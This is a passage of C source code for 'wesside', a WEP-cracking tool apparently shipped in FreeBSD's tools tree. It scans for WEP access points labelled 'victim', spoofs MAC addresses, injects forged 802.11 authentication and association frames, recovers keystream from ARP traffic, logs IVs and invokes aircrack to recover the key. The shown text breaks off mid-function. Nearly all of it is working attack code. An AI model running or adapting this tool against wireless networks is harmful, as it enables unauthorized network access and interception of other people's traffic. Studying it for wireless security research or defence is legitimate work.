xref: /freebsd-9.3-release/tools/tools/net80211/wesside/wesside/wesside.c

/*
 * wep owner by sorbo <sorbox@yahoo.com>
 * Aug 2005
 *
 * XXX GENERAL: I DON'T CHECK FOR PACKET LENGTHS AND STUFF LIKE THAT and buffer
 * overflows.  this whole thing is experimental n e way.
 *
 * $FreeBSD: head/tools/tools/net80211/wesside/wesside/wesside.c 168966 2007-04-23 05:51:18Z sam $
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/endian.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/uio.h>
#include <net/if.h>
#include <net/if_media.h>
#include <net/if_llc.h>
#include <net/if_arp.h>
#include <net/if_types.h>
#include <net/if_dl.h>
#include <net/bpf.h>
#include <net/ethernet.h>
#include <net80211/ieee80211.h>
#include <net80211/ieee80211_ioctl.h>
#include <net80211/ieee80211_radiotap.h>
#include <net80211/ieee80211_freebsd.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <assert.h>
#include <zlib.h>
#include <signal.h>
#include <stdarg.h>
#include <err.h>
#include <pcap.h>

#include "aircrack-ptw-lib.h"

#define FIND_VICTIM		0
#define FOUND_VICTIM		1
#define SENDING_AUTH		2
#define GOT_AUTH		3
#define SPOOF_MAC		4
#define SENDING_ASSOC		5
#define GOT_ASSOC		6

int state = 0;

struct timeval arpsend;

struct tx_state {
	int waiting_ack;
	struct timeval tsent;
	int retries;
	unsigned int psent;
} txstate;

struct chan_info {
	int s;
	struct ieee80211req ireq;
	int chan;
} chaninfo;

struct victim_info {
	char* ssid;
	int chan;
	char bss[6];
} victim;

struct frag_state {
	struct ieee80211_frame wh;
	unsigned char* data;
	int len;
	unsigned char* ptr;
	int waiting_relay;
	struct timeval last;
} fragstate;

struct prga_info {
	unsigned char* prga;
	unsigned int len;
	unsigned char iv[3];
} prgainfo;

struct decrypt_state {
	unsigned char* cipher;
	int clen;
	struct prga_info prgainfo;
	struct frag_state fragstate;
} decryptstate;

struct wep_log {
	unsigned int packets;
	unsigned int rate;
	int fd;
	unsigned char iv[3];
} weplog;

#define LINKTYPE_IEEE802_11     105
#define TCPDUMP_MAGIC           0xA1B2C3D4

unsigned char* floodip = 0;
unsigned short floodport = 6969;
unsigned short floodsport = 53;

unsigned char* netip = 0;
int netip_arg = 0;
int max_chan = 11;

unsigned char* rtrmac = 0;

unsigned char mymac[] = "\x00\x00\xde\xfa\xce\x0d";
unsigned char myip[16] = "192.168.0.123";

int bits = 0;
int ttl_val = 0;

PTW_attackstate *ptw;

unsigned char *victim_mac = 0;

int ack_timeout = 100*1000;

#define ARPLEN (8+ 8 + 20)
unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
unsigned char ip_clear[] =  "\xAA\xAA\x03\x00\x00\x00\x08\x00";
#define S_LLC_SNAP      "\xAA\xAA\x03\x00\x00\x00"
#define S_LLC_SNAP_ARP  (S_LLC_SNAP "\x08\x06")
#define S_LLC_SNAP_IP   (S_LLC_SNAP "\x08\x00")

#define MCAST_PREF "\x01\x00\x5e\x00\x00"

#define WEP_FILE "wep.cap"
#define KEY_FILE "key.log"
#define PRGA_FILE "prga.log"

unsigned int min_prga =  128;

/*
 * When starting aircrack we try first to use a
 * local copy, falling back to where the installed
 * version is expected.
 * XXX builtin pathnames
 */
#define CRACK_LOCAL_CMD "../aircrack/aircrack"
#define CRACK_INSTALL_CMD "/usr/local/bin/aircrack"

#define INCR 10000
int thresh_incr = INCR;

#define MAGIC_TTL_PAD 69

int crack_dur = 60;
int wep_thresh = INCR;
int crack_pid = 0;
struct timeval crack_start;
struct timeval real_start;

/* linksys does this.  The hardware pads small packets. */
#define PADDED_ARPLEN 54

#define PRGA_LEN (1500-14-20-8)
unsigned char inet_clear[8+20+8+PRGA_LEN+4];

#define DICT_PATH "dict"
#define TAP_DEV "/dev/tap3"
unsigned char tapdev[16];
unsigned char taptx[4096];
unsigned int taptx_len = 0;
int tapfd = -1;

/********** RIPPED
************/
unsigned short in_cksum (unsigned short *ptr, int nbytes) {
  register long sum;
  u_short oddbyte;
  register u_short answer;

  sum = 0;
  while (nbytes > 1)
    {
      sum += *ptr++;
      nbytes -= 2;
    }

  if (nbytes == 1)
    {
      oddbyte = 0;
      *((u_char *) & oddbyte) = *(u_char *) ptr;
      sum += oddbyte;
    }

  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return (answer);
}
/**************
************/

unsigned int udp_checksum(unsigned char *stuff, int len, struct in_addr *sip,
                          struct in_addr *dip) {
        unsigned char *tmp;
        struct ippseudo *ph;

        tmp = (unsigned char*) malloc(len + sizeof(struct ippseudo));
        if(!tmp)
		err(1, "malloc()");

        ph = (struct ippseudo*) tmp;

        memcpy(&ph->ippseudo_src, sip, 4);
        memcpy(&ph->ippseudo_dst, dip, 4);
        ph->ippseudo_pad =  0;
        ph->ippseudo_p = IPPROTO_UDP;
        ph->ippseudo_len = htons(len);

        memcpy(tmp + sizeof(struct ippseudo), stuff, len);

        return in_cksum((unsigned short*)tmp, len+sizeof(struct ippseudo));
}

void time_print(char* fmt, ...) {
        va_list ap;
        char lame[1024];
	time_t tt;
	struct tm *t;

        va_start(ap, fmt);
        vsnprintf(lame, sizeof(lame), fmt, ap);
        va_end(ap);

	tt = time(NULL);

	if (tt == (time_t)-1) {
		perror("time()");
		exit(1);
	}

	t = localtime(&tt);
	if (!t) {
		perror("localtime()");
		exit(1);
	}

	printf("[%.2d:%.2d:%.2d] %s",
	       t->tm_hour, t->tm_min, t->tm_sec, lame);
}

void check_key() {
	char buf[1024];
	int fd;
	int rd;
	struct timeval now;

	fd = open(KEY_FILE, O_RDONLY);

	if (fd == -1) {
		return;
	}

	rd = read(fd, buf, sizeof(buf) -1);
	if (rd == -1) {
		perror("read()");
		exit(1);
	}

	buf[rd] = 0;

	close(fd);

	printf ("\n\n");
	time_print("KEY=(%s)\n", buf);

	if (gettimeofday(&now, NULL) == -1) {
		perror("gettimeofday()");
		exit(1);
	}

	printf ("Owned in %.02f minutes\n",
		((double) now.tv_sec - real_start.tv_sec)/60.0);
	exit(0);
}

void kill_crack() {
	if (crack_pid == 0)
		return;

	printf("\n");
	time_print("Stopping crack PID=%d\n", crack_pid);

	// XXX doesn't return -1 for some reason! [maybe on my box... so it
	// might be buggy on other boxes...]
	if (kill(crack_pid, SIGINT) == -1) {
		perror("kill()");
		exit(1);
	}

	crack_pid = 0;

	check_key();
}

void cleanup(int x) {
	time_print("\nDying...\n");

	if (weplog.fd)
		close(weplog.fd);

	kill_crack();

	exit(0);
}

void set_chan(int c) {
	if (c == chaninfo.chan)
		return;

	chaninfo.ireq.i_val = c;

	if (ioctl(chaninfo.s, SIOCS80211, &chaninfo.ireq) == -1) {
		perror("ioctl(SIOCS80211) [chan]");
		exit(1);
	}
	chaninfo.chan = c;
}

void set_if_mac(unsigned char* mac, unsigned char *name) {
	int s;
	struct ifreq ifr;

	s = socket(PF_INET, SOCK_DGRAM, 0);
	if (s == -1) {
		perror("socket()");
		exit(1);
	}

	memset(&ifr, 0, sizeof(ifr));
	strcpy(ifr.ifr_name, name);

	ifr.ifr_addr.sa_family = AF_LINK;
	ifr.ifr_addr.sa_len = 6;
	memcpy(ifr.ifr_addr.sa_data, mac, 6);

	if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
		perror("ioctl(SIOCSIFLLADDR)");
		exit(1);
	}

	close(s);
}

void setup_if(char *dev) {
	int s;
	struct ifreq ifr;
	unsigned int flags;
	struct ifmediareq ifmr;
	int *mwords;

	if(strlen(dev) >= IFNAMSIZ) {
		time_print("Interface name too long...\n");
		exit(1);
	}

	time_print("Setting up %s... ", dev);
	fflush(stdout);

	set_if_mac(mymac, dev);

	s = socket(PF_INET, SOCK_DGRAM, 0);
	if (s == -1) {
		perror("socket()");
		exit(1);
	}

	// set iface up and promisc
	memset(&ifr, 0, sizeof(ifr));
	strcpy(ifr.ifr_name, dev);
	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
		perror("ioctl(SIOCGIFFLAGS)");
		exit(1);
	}

	flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
	flags |= IFF_UP | IFF_PPROMISC;

	memset(&ifr, 0, sizeof(ifr));
	strcpy(ifr.ifr_name, dev);
	ifr.ifr_flags = flags & 0xffff;
	ifr.ifr_flagshigh = flags >> 16;
	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
		perror("ioctl(SIOCSIFFLAGS)");
		exit(1);
	}

	// set monitor mode
	memset(&ifmr, 0, sizeof(ifmr));
	strcpy(ifmr.ifm_name, dev);
	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) {
		perror("ioctl(SIOCGIFMEDIA)");
		exit(1);
	}

	if (ifmr.ifm_count == 0) {
		time_print("0 media thinggies...\n");
		exit(1);
	}

	mwords = (int *)malloc(ifmr.ifm_count * sizeof(int));
	if (!mwords) {
		perror("malloc()");
		exit(1);
	}
	ifmr.ifm_ulist = mwords;

	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) {
		perror("ioctl(SIOCGIFMEDIA)");
		exit(1);
	}
	free(mwords);

	memset(&ifr, 0, sizeof(ifr));
	strcpy(ifr.ifr_name, dev);
	ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR;
	if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) {
		perror("ioctl(SIOCSIFMEDIA)");
		exit(1);
	}

	// set chan
	memset(&chaninfo.ireq, 0, sizeof(chaninfo.ireq));
	strcpy(chaninfo.ireq.i_name, dev);
	chaninfo.ireq.i_type = IEEE80211_IOC_CHANNEL;

	chaninfo.chan = 0;
	chaninfo.s = s;
	set_chan(1);

	printf("done\n");
}

int open_bpf(char *dev, int dlt) {
        int i;
        char buf[64];
        int fd = -1;
        struct ifreq ifr;

        for(i = 0;i < 16; i++) {
                sprintf(buf, "/dev/bpf%d", i);

                fd = open(buf, O_RDWR);
                if(fd < 0) {
                        if(errno != EBUSY) {
                                perror("can't open /dev/bpf");
                                exit(1);
                        }
                        continue;
                }
                else
                        break;
        }

        if(fd < 0) {
                perror("can't open /dev/bpf");
                exit(1);
        }

        strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
        ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;

        if(ioctl(fd, BIOCSETIF, &ifr) < 0) {
                perror("ioctl(BIOCSETIF)");
                exit(1);
        }

        if (ioctl(fd, BIOCSDLT, &dlt) < 0) {
                perror("ioctl(BIOCSDLT)");
                exit(1);
        }

        i = 1;
        if(ioctl(fd, BIOCIMMEDIATE, &i) < 0) {
                perror("ioctl(BIOCIMMEDIATE)");
                exit(1);
        }

        return fd;
}

void hexdump(unsigned char *ptr, int len) {
        while(len > 0) {
                printf("%.2X ", *ptr);
                ptr++; len--;
        }
        printf("\n");
}

char* mac2str(unsigned char* mac) {
	static char ret[6*3];

	sprintf(ret, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
		mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);

	return ret;
}

void inject(int fd, void *buf, int len)
{
	static struct ieee80211_bpf_params params = {
		.ibp_vers = IEEE80211_BPF_VERSION,
		/* NB: no need to pass series 2-4 rate+try */
		.ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
		.ibp_rate0 = 2,		/* 1 MB/s XXX */
		.ibp_try0 = 1,		/* no retransmits */
		.ibp_flags = IEEE80211_BPF_NOACK,
		.ibp_power = 100,	/* nominal max */
		.ibp_pri = WME_AC_VO,	/* high priority */
	};
	struct iovec iov[2];
	int rc;

	iov[0].iov_base = &params;
	iov[0].iov_len = params.ibp_len;
	iov[1].iov_base = buf;
	iov[1].iov_len = len;
	rc = writev(fd, iov, 2);
	if(rc == -1) {
		perror("writev()");
		exit(1);
	}
	if (rc != (len + iov[0].iov_len)) {
		time_print("Error Wrote %d out of %d\n", rc,
			   len+iov[0].iov_len);
		exit(1);
	}
}

void send_frame(int tx, unsigned char* buf, int len) {
	static unsigned char* lame = 0;
	static int lamelen = 0;
	static int lastlen = 0;

	// retransmit!
	if (len == -1) {
		txstate.retries++;

		if (txstate.retries > 10) {
			time_print("ERROR Max retransmists for (%d bytes):\n",
			       lastlen);
			hexdump(&lame[0], lastlen);
//			exit(1);
		}
		len = lastlen;
//		printf("Warning doing a retransmit...\n");
	}
	// normal tx
	else {
		assert(!txstate.waiting_ack);

		if (len > lamelen) {
			if (lame)
				free(lame);

			lame = (unsigned char*) malloc(len);
			if(!lame) {
				perror("malloc()");
				exit(1);
			}

			lamelen = len;
		}

		memcpy(lame, buf, len);
		txstate.retries = 0;
		lastlen = len;
	}

	inject(tx, lame, len);

	txstate.waiting_ack = 1;
	txstate.psent++;
	if (gettimeofday(&txstate.tsent, NULL) == -1) {
		perror("gettimeofday()");
		exit(1);
	}

#if 0
	printf("Wrote frame at %lu.%lu\n",
	       txstate.tsent.tv_sec, txstate.tsent.tv_usec);
#endif
}

unsigned short fnseq(unsigned short fn, unsigned short seq) {
        unsigned short r = 0;

        if(fn > 15) {
                time_print("too many fragments (%d)\n", fn);
                exit(1);
        }

        r = fn;

        r |=  ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);

        return r;
}

void fill_basic(struct ieee80211_frame* wh) {
	unsigned short* sp;

	memcpy(wh->i_addr1, victim.bss, 6);
	memcpy(wh->i_addr2, mymac, 6);
	memcpy(wh->i_addr3, victim.bss, 6);



	sp = (unsigned short*) wh->i_seq;
	*sp = fnseq(0, txstate.psent);

	sp = (unsigned short*) wh->i_dur;
	*sp = htole16(32767);
}

void send_assoc(int tx) {
	unsigned char buf[128];
	struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
	unsigned char* body;
	int ssidlen;

	memset(buf, 0, sizeof(buf));
	fill_basic(wh);
	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;

	body = (unsigned char*) wh + sizeof(*wh);
	*body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
	// cap + interval
	body += 2 + 2;

	// ssid
	*body++ = 0;
	ssidlen = strlen(victim.ssid);
	*body++ = ssidlen;
	memcpy(body, victim.ssid, ssidlen);
	body += ssidlen;

	// rates
	*body++ = 1;
	*body++ = 4;
	*body++ = 2;
	*body++ = 4;
	*body++ = 11;
	*body++ = 22;

	send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2 +
			    strlen(victim.ssid) + 2 + 4);
}

void wepify(unsigned char* body, int dlen) {
	uLong crc;
	unsigned long *pcrc;
	int i;

	assert(dlen + 4 <= prgainfo.len);

	// iv
	memcpy(body, prgainfo.iv, 3);
	body +=3;
	*body++ = 0;

	// crc
	crc = crc32(0L, Z_NULL, 0);
	crc = crc32(crc, body, dlen);
	pcrc = (unsigned long*) (body+dlen);
	*pcrc = crc;

	for (i = 0; i < dlen +4; i++)
		*body++ ^= prgainfo.prga[i];
}

void send_auth(int tx) {
	unsigned char buf[128];
	struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
	unsigned short* n;

	memset(buf, 0, sizeof(buf));
	fill_basic(wh);
	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;

	n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh));
	n++;
	*n = 1;

	send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2);
}

int get_victim_ssid(struct ieee80211_frame* wh, int len) {
	unsigned char* ptr;
	int x;
	int gots = 0, gotc = 0;

	if (len <= sizeof(*wh)) {
		time_print("Warning: short packet in get_victim_ssid()\n");
		return 0;
	}

	ptr = (unsigned char*)wh + sizeof(*wh);
	len -= sizeof(*wh);

	// only wep baby
	if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) {
		return 0;
	}

	// we want a specific victim
	if (victim_mac) {
		if (memcmp(wh->i_addr3, victim_mac, 6) != 0)
			return 0;
	}

	// beacon header
	x = 8 + 2 + 2;
	if (len <= x) {
		time_print("Warning short.asdfasdf\n");
		return 0;
	}

	ptr += x;
	len -= x;

	// SSID
	while(len > 2) {
		int eid, elen;

		eid = *ptr;
		ptr++;
		elen = *ptr;
		ptr++;
		len -= 2;

		if (len < elen) {
			time_print("Warning short....\n");
			return 0;
		}

		// ssid
		if (eid == 0) {
			if (victim.ssid)
				free(victim.ssid);

			victim.ssid = (char*) malloc(elen + 1);
			if (!victim.ssid) {
				perror("malloc()");
				exit(1);
			}

			memcpy(victim.ssid, ptr, elen);
			victim.ssid[elen] = 0;
			gots = 1;

		}
		// chan
		else if(eid == 3) {
			if( elen != 1) {
				time_print("Warning len of chan not 1\n");
				return 0;
			}

			victim.chan = *ptr;
			gotc = 1;
		}

		ptr += elen;
		len -= elen;
	}

	if (gots && gotc) {
		memcpy(victim.bss, wh->i_addr3, 6);
		set_chan(victim.chan);
		state = FOUND_VICTIM;
		time_print("Found SSID(%s) BSS=(%s) chan=%d\n",
		       victim.ssid, mac2str(victim.bss), victim.chan);
		return 1;
	}
	return 0;
}

void send_ack(int tx) {
	/* firmware acks */
}

void do_llc(unsigned char* buf, unsigned short type) {
	struct llc* h = (struct llc*) buf;

	memset(h, 0, sizeof(*h));
	h->llc_dsap = LLC_SNAP_LSAP;
	h->llc_ssap = LLC_SNAP_LSAP;
	h->llc_un.type_snap.control = 3;
	h->llc_un.type_snap.ether_type = htons(type);
}

void calculate_inet_clear() {
	struct ip* ih;
	struct udphdr* uh;
	uLong crc;
	unsigned long *pcrc;
	int dlen;

	memset(inet_clear, 0, sizeof(inet_clear));

	do_llc(inet_clear, ETHERTYPE_IP);

	ih = (struct ip*) &inet_clear[8];
	ih->ip_hl = 5;
	ih->ip_v = 4;
	ih->ip_tos = 0;
	ih->ip_len = htons(20+8+PRGA_LEN);
	ih->ip_id = htons(666);
	ih->ip_off = 0;
	ih->ip_ttl = ttl_val;
	ih->ip_p = IPPROTO_UDP;
	ih->ip_sum = 0;
	inet_aton(floodip, &ih->ip_src);
	inet_aton(myip, &ih->ip_dst);
	ih->ip_sum = in_cksum((unsigned short*)ih, 20);

	uh = (struct udphdr*) ((char*)ih + 20);
	uh->uh_sport = htons(floodport);
	uh->uh_dport = htons(floodsport);
	uh->uh_ulen = htons(8+PRGA_LEN);
	uh->uh_sum = 0;
        uh->uh_sum = udp_checksum((unsigned char*)uh, 8+PRGA_LEN,
                                  &ih->ip_src, &ih->ip_dst);

	// crc
	dlen = 8 + 20 + 8 + PRGA_LEN;
	assert (dlen + 4 <= sizeof(inet_clear));

	crc = crc32(0L, Z_NULL, 0);
	crc = crc32(crc, inet_clear, dlen);
	pcrc = (unsigned long*) (inet_clear+dlen);
	*pcrc = crc;

#if 0
	printf("INET %d\n", sizeof(inet_clear));
	hexdump(inet_clear, sizeof(inet_clear));
#endif
}

void set_prga(unsigned char* iv, unsigned char* cipher,
	      unsigned char* clear, int len) {

	int i;
	int fd;

	if (prgainfo.len != 0)
		free(prgainfo.prga);

	prgainfo.prga = (unsigned char*) malloc(len);
	if (!prgainfo.prga) {
		perror("malloc()");
		exit(1);
	}

	prgainfo.len = len;
	memcpy(prgainfo.iv, iv, 3);

	for (i = 0; i < len; i++) {
		prgainfo.prga[i] =  ( cipher ? (clear[i] ^ cipher[i]) :
				 	        clear[i]);
	}

	time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=",
	       prgainfo.len, prgainfo.iv[0], prgainfo.iv[1], prgainfo.iv[2]);
	hexdump(prgainfo.prga, prgainfo.len);

	if (!cipher)
		return;

	fd = open(PRGA_FILE, O_WRONLY | O_CREAT,
		  S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);

	if (fd == -1) {
		perror("open()");
		exit(1);
	}

	i = write(fd, prgainfo.iv, 3);
	if (i == -1) {
		perror("write()");
		exit(1);
	}
	if (i != 3) {
		printf("Wrote %d out of %d\n", i, 3);
		exit(1);
	}

	i = write(fd, prgainfo.prga, prgainfo.len);
	if (i == -1) {
		perror("write()");
		exit(1);
	}
	if (i != prgainfo.len) {
		printf("Wrote %d out of %d\n", i, prgainfo.len);
		exit(1);
	}

	close(fd);
}


void log_dictionary(unsigned char* body, int len) {
	char paths[3][3];
	int i, rd;
	int fd;
	unsigned char path[128];
	unsigned char file_clear[sizeof(inet_clear)];
	unsigned char* data;

	len -= 4; // IV etc..
	assert (len == sizeof(inet_clear));

	data = body +4;

	if (len > prgainfo.len)
		set_prga(body, data, inet_clear, len);


	for (i = 0; i < 3; i++)
		snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);


	strcpy(path, DICT_PATH);


	// first 2 bytes
	for (i = 0; i < 2; i++) {
		strcat(path, "/");
		strcat(path, paths[i]);
		fd = open(path, O_RDONLY);
		if (fd == -1) {
			if (errno != ENOENT) {
				perror("open()");
				exit(1);
			}

			if (mkdir(path, 0755) == -1) {
				perror("mkdir()");
				exit(1);
			}
		}
		else
			close(fd);
	}

	// last byte
	strcat(path, "/");
	strcat(path, paths[2]);

	fd = open(path, O_RDWR);
	// already exists... see if we are consistent...
	if (fd != -1) {
		rd = read(fd, file_clear, sizeof(file_clear));

		if (rd == -1) {
			perror("read()");
			exit(1);
		}

		// check consistency....
		for (i = 0; i < rd; i++) {
			if (file_clear[i] !=
			    (data[i] ^ inet_clear[i])) {

				printf("Mismatch in byte %d for:\n", i);
				hexdump(body, len+4);
				exit(1);
			}
		}

		// no need to log
		if (i >= sizeof(inet_clear)) {
#if 0
			time_print("Not logging IV %.2X:%.2X:%.2X cuz we got it\n",
				body[0], body[1], body[2]);
#endif
			close(fd);
			return;
		}

		// file has less... fd still open

	} else {
		fd = open(path, O_WRONLY | O_CREAT, 0644);
		if (fd == -1) {
			printf("Can't open (%s): %s\n", path,
			       strerror(errno));
			exit(1);
		}
	}

	assert (sizeof(file_clear) >= sizeof(inet_clear));

	for(i = 0; i < len; i++)
		file_clear[i] = data[i] ^ inet_clear[i];

	rd = write(fd, file_clear, len);
	if (rd == -1) {
		perror("write()");
		exit(1);
	}
	if (rd != len) {
		printf("Wrote %d of %d\n", rd, len);
		exit(1);
	}
	close(fd);
}

void stuff_for_us(struct ieee80211_frame* wh, int len) {
	int type,stype;
	unsigned char* body;

	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;

	body = (unsigned char*) wh + sizeof(*wh);

	// CTL
	if (type == IEEE80211_FC0_TYPE_CTL) {
		if (stype == IEEE80211_FC0_SUBTYPE_ACK) {
			txstate.waiting_ack = 0;
			return;
		}

		if (stype == IEEE80211_FC0_SUBTYPE_RTS) {
			return;
		}

		if (stype == IEEE80211_FC0_SUBTYPE_CTS) {
			return;
		}
		time_print ("got CTL=%x\n", stype);
		return;
	}

	// MGM
	if (type == IEEE80211_FC0_TYPE_MGT) {
		if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) {
			unsigned short* rc = (unsigned short*) body;
			printf("\n");
			time_print("Got deauth=%u\n", le16toh(*rc));
			state = FOUND_VICTIM;
			return;
			exit(1);
		}
		else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) {
			unsigned short* sc = (unsigned short*) body;

			if (*sc != 0) {
				time_print("Warning got auth algo=%x\n", *sc);
				exit(1);
				return;
			}
			sc++;

			if (*sc != 2) {
				time_print("Warning got auth seq=%x\n", *sc);
				return;
			}

			sc++;

			if (*sc == 1) {
				time_print("Auth rejected... trying to spoof mac.\n");
				state = SPOOF_MAC;
				return;
			}
			else if (*sc == 0) {
				time_print("Authenticated\n");
				state = GOT_AUTH;
				return;
			}
			else {
				time_print("Got auth %x\n", *sc);
				exit(1);
			}
		}
		else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) {
			unsigned short* sc = (unsigned short*) body;
			sc++; // cap

			if (*sc == 0) {
				sc++;
				unsigned int aid = le16toh(*sc) & 0x3FFF;
				time_print("Associated (ID=%x)\n", aid);
				state = GOT_ASSOC;
				return;
		        } else if (*sc == 12) {
                                time_print("Assoc rejected..."
                                           " trying to spoof mac.\n");
                                state = SPOOF_MAC;
                                return;
			} else {
				time_print("got assoc %x\n", *sc);
				exit(1);
			}
		} else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
			return;
		}

		time_print("\nGOT MAN=%x\n", stype);
		exit(1);
	}

	if (type == IEEE80211_FC0_TYPE_DATA &&
	    stype == IEEE80211_FC0_SUBTYPE_DATA) {
		int dlen;
		dlen = len - sizeof(*wh) - 4 -4;

		if (!( wh->i_fc[1] & IEEE80211_FC1_WEP)) {
			time_print("WARNING: Got NON wep packet from %s dlen %d stype=%x\n",
				   mac2str(wh->i_addr2), dlen, stype);
				   return;
		}

		assert (wh->i_fc[1] & IEEE80211_FC1_WEP);

		if ((dlen == 36 || dlen == PADDED_ARPLEN) && rtrmac == (unsigned char*) 1) {
			rtrmac = (unsigned char *) malloc(6);
			if (!rtrmac) {
				perror("malloc()");
				exit(1);
			}

			assert( rtrmac > (unsigned char*) 1);

			memcpy (rtrmac, wh->i_addr3, 6);
			time_print("Got arp reply from (%s)\n", mac2str(rtrmac));

			return;
		}
#if 0
		// check if its a TTL update from dictionary stuff
		if (dlen >= (8+20+8+MAGIC_TTL_PAD) &&
		    dlen <= (8+20+8+MAGIC_TTL_PAD+128)) {
			int ttl_delta, new_ttl;

			ttl_delta = dlen - 8 - 20 - 8 - MAGIC_TTL_PAD;
			new_ttl = 128 - ttl_delta;

			if (ttl_val && new_ttl != ttl_val) {
				time_print("oops. ttl changed from %d to %d\n",
					   ttl_val, new_ttl);
				exit(1);
			}

			if (!ttl_val) {
				ttl_val = new_ttl;
				printf("\n");
				time_print("Got TTL of %d\n", ttl_val);
				calculate_inet_clear();
			}
		}

		// check if its dictionary data
		if (ttl_val && dlen == (8+20+8+PRGA_LEN)) {
			log_dictionary(body, len - sizeof(*wh));
		}
#endif
	}

#if 0
	printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n",
		type, stype, mac2str(wh->i_addr2), len);
#endif
}

void decrypt_arpreq(struct ieee80211_frame* wh, int rd) {
	unsigned char* body;
	int bodylen;
	unsigned char clear[36];
	unsigned char* ptr;
	struct arphdr* h;
	int i;

	body = (unsigned char*) wh+sizeof(*wh);
	ptr = clear;

	// calculate clear-text
	memcpy(ptr, arp_clear, sizeof(arp_clear)-1);
	ptr += sizeof(arp_clear) -1;

	h = (struct arphdr*)ptr;
	h->ar_hrd = htons(ARPHRD_ETHER);
        h->ar_pro = htons(ETHERTYPE_IP);
        h->ar_hln = 6;
        h->ar_pln = 4;
        h->ar_op = htons(ARPOP_REQUEST);
	ptr += sizeof(*h);

	memcpy(ptr, wh->i_addr3, 6);

	bodylen = rd - sizeof(*wh) - 4 - 4;
	decryptstate.clen = bodylen;
	decryptstate.cipher = (unsigned char*) malloc(decryptstate.clen);
	if (!decryptstate.cipher) {
		perror("malloc()");
		exit(1);
	}
	decryptstate.prgainfo.prga = (unsigned char*) malloc(decryptstate.clen);
	if (!decryptstate.prgainfo.prga) {
		perror("malloc()");
		exit(1);
	}


	memcpy(decryptstate.cipher, &body[4], decryptstate.clen);
	memcpy(decryptstate.prgainfo.iv, body, 3);

	memset(decryptstate.prgainfo.prga, 0, decryptstate.clen);
	for(i = 0; i < (8+8+6); i++) {
		decryptstate.prgainfo.prga[i] = decryptstate.cipher[i] ^
						clear[i];
	}

	decryptstate.prgainfo.len = i;
	time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
}

void log_wep(struct ieee80211_frame* wh, int len) {
	int rd;
	struct pcap_pkthdr pkh;
	struct timeval tv;
	unsigned char *body = (unsigned char*) (wh+1);

	memset(&pkh, 0, sizeof(pkh));
	pkh.caplen = pkh.len = len;
	if (gettimeofday(&tv, NULL) == -1)
		err(1, "gettimeofday()");
	pkh.ts = tv;
	if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh))
		err(1, "write()");

	rd = write(weplog.fd, wh, len);

	if (rd == -1) {
		perror("write()");
		exit(1);
	}
	if (rd != len) {
		time_print("short write %d out of %d\n", rd, len);
		exit(1);
	}

#if 0
	if (fsync(weplog.fd) == -1) {
		perror("fsync()");
		exit(1);
	}
#endif

	memcpy(weplog.iv, body, 3);
	weplog.packets++;
}

void try_dictionary(struct ieee80211_frame* wh, int len) {
	unsigned char *body;
	char path[52];
	char paths[3][3];
	int i;
	int fd, rd;
	unsigned char packet[4096];
	int dlen;
	struct ether_header* eh;
	uLong crc;
	unsigned long *pcrc;
	unsigned char* dmac, *smac;

	assert (len < sizeof(packet) + sizeof(*eh));

	body = (unsigned char*) wh + sizeof(*wh);

	for (i = 0; i < 3; i++)
		snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);

	sprintf(path, "%s/%s/%s/%s", DICT_PATH, paths[0], paths[1], paths[2]);

	fd = open(path, O_RDONLY);
	if (fd == -1)
		return;

	rd = read(fd, &packet[6], sizeof(packet)-6);
	if (rd == -1) {
		perror("read()");
		exit(1);
	}
	close(fd);


	dlen = len - sizeof(*wh) - 4;
	if (dlen > rd) {
		printf("\n");
		time_print("Had PRGA (%s) but too little (%d/%d)\n", path, rd,
		dlen);
		return;
	}

	body += 4;
	for (i = 0; i < dlen; i++)
		packet[6+i] ^= body[i];

	dlen -= 4;
	crc = crc32(0L, Z_NULL, 0);
	crc = crc32(crc, &packet[6], dlen);
